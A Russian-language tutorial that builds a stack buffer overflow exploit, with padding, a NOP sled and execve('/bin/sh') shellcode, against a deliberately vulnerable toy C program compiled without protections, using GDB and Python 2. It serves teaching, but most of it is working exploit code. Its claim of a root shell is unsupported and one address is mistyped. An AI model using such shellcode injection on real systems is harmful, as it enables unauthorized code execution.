Сегодня мы собираемся сделать небольшой забавный эксплойт в простой программе на C, чтобы внедрить шелл-код и запустить корневую оболочку. Мы будем использовать Python (для создания нашего эксплойта) и GDB (для отладки и разработки нашей атаки). Я бы также рекомендовал использовать операционную систему Linux.

Мы назовем нашу программу на языке C secret.c. Эта программа имитирует запрос пароля у пользователя и предоставляет или отказывает в разрешении.

#include <stdio.h>
#include <string.h>

int main() {
    char buffer[32];
    printf("Enter your secret key\n");
    scanf("%s", buffer);
    if (strcmp(buffer, "secret-key") == 0) {
        printf("access granted!\n");
    } else {
        printf("access denied!\n");
    }

    return 0;
}

Почему эта программа уязвима? Мы выделяем в стеке буфер размером 32 байта и используем scanf для заполнения его вводом от пользователя. Этот пользователь может ввести «ключ» любого размера и любого содержания.

Давайте все же скомпилируем его, отключим защиту стека и сделаем наш стек исполняемым (чего мы обычно делать не хотим).

$ gcc -fno-stack-protector -z execstack -fno-pie -no-pie secret.c -o secret

Далее приступим к изучению исполняемого файла с GDB

$ gdb ./secret
$ (gdb) break main # set a break point at main function
$ (gdb) run

Далее, давайте установим точку останова на инструкции quit прямо перед возвратом. И нам будет предложено ввести ключ, давайте введем длинную строку «а», чтобы увидеть, куда мы записываем в стек.

$ (gdb) break *0x00000000004011d2
$ (gdb) continue
Continuing.
Enter your secret key
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
access denied!
Breakpoint 2, 0x00000000004011d2 in main ()

Теперь давайте рассмотрим наш стек

$ (gdb) x/32x $rsp
0x7fffffffdde0: 0x61616161 0x61616161 0x61616161 0x61616161
0x7fffffffddf0: 0x61616161 0x61616161 0x61616161 0x61616161
0x7fffffffde00: 0x61616161 0x61616161 0xf7daed00 0x00007fff
0x7fffffffde10: 0x00000000 0x00000000 0x00401176 0x00000000
0x7fffffffde20: 0xffffdf00 0x00000001 0xffffdf18 0x00007fff
0x7fffffffde30: 0x00000000 0x00000000 0x10795763 0x51068ac1
0x7fffffffde40: 0xffffdf18 0x00007fff 0x00401176 0x00000000
0x7fffffffde50: 0x00403e18 0x00000000 0xf7ffd040 0x00007fff

Мы видим, что 0x61 повторяется много раз, что является буквой «a» в шестнадцатеричном формате. Давайте также проверим рамку. Вы можете использовать информационный фрейм или i f вкратце.

$ (gdb) info frame
Stack level 0, frame at 0x7fffffffde10:
 rip = 0x4011d2 in main; saved rip = 0x7fffffffde10
 Arglist at 0x7fffffffde00, args: 
 Locals at 0x7fffffffde00, Previous frame's sp is 0x7fffffffde10
 Saved registers:
  rbp at 0x7fffffffde00, rip at 0x7fffffffde08

Мы хотели бы добавить некоторый отступ прямо до rip (указатель инструкции), поэтому мы вычислим разницу между rip и указателем стека (rsp).

0x7fffffffde08 - 0x7fffffffdde0 = 40

Давайте начнем наш эксплойт с этого заполнения. Мы назовем это файлexploit.py.

pad = "a" * 40
print pad

Наш эксплойт также будет включать адрес для перехода после того, как программа попадет в RIP, слайд NOP и наш шелл-код. Мы хотим, чтобы адрес был через 8 байт после текущего рипа, поэтому это будет 0x7ffffffffde10. Это направит выполнение на этот адрес после того, как он попадет в исходный RIP. По этому адресу мы включим слайд NOP для слайд-выполнения в шелл-код для выполнения /bin/sh и запуска оболочки.

Слайд NOP — это последовательность бездействия, чтобы «сдвинуть» выполнение программы в нужное место. В нашем случае мы будем запускать выполнение в каком-то шелл-коде, чтобы запустить оболочку. Мы выберем длину 50.

Подробнее можно прочитать здесь: https://en.wikipedia.org/wiki/NOP_slide

Шеллкод

Пожалуйста, найдите соответствующий шеллкод для вашей системы здесь: http://www.shell-storm.org/shellcode/index.html

Я использую этот блок, который выполняет execve("/bin/sh", ["/bin/sh"], NULL)

http://www.shell-storm.org/shellcode/files/shellcode-603.html

  "\x48\x31\xd2"                                  // xor    %rdx, %rdx
  "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"      // mov $0x68732f6e69622f2f, %rbx
  "\x48\xc1\xeb\x08"                              // shr    $0x8, %rbx
  "\x53"                                          // push   %rbx
  "\x48\x89\xe7"                                  // mov    %rsp, %rdi
  "\x50"                                          // push   %rax
  "\x57"                                          // push   %rdi
  "\x48\x89\xe6"                                  // mov    %rsp, %rsi
  "\xb0\x3b"                                      // mov    $0x3b, %al
  "\x0f\x05";                                     // syscall

Итак, наш файлexploit.py выглядит так:

pad = "a" * 40
address = "\x10\xde\xff\xff\xff\x7f\x00\x00"
nop = "\x90" * 50
shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
print pad + address + nop + shellcode

Теперь давайте попробуем

$ python2 exploit.py | ./secret
# whoami 
# root

Получаем корневую оболочку! Поздравляем!

Чтобы проверить свой эксплойт в GDB, запишите свой эксплойт в файл, а затем используйте в GDB следующее:

$ python2 exploit.py > exploit
$ gdb ./secret
(gdb) break main
(gdb) run < exploit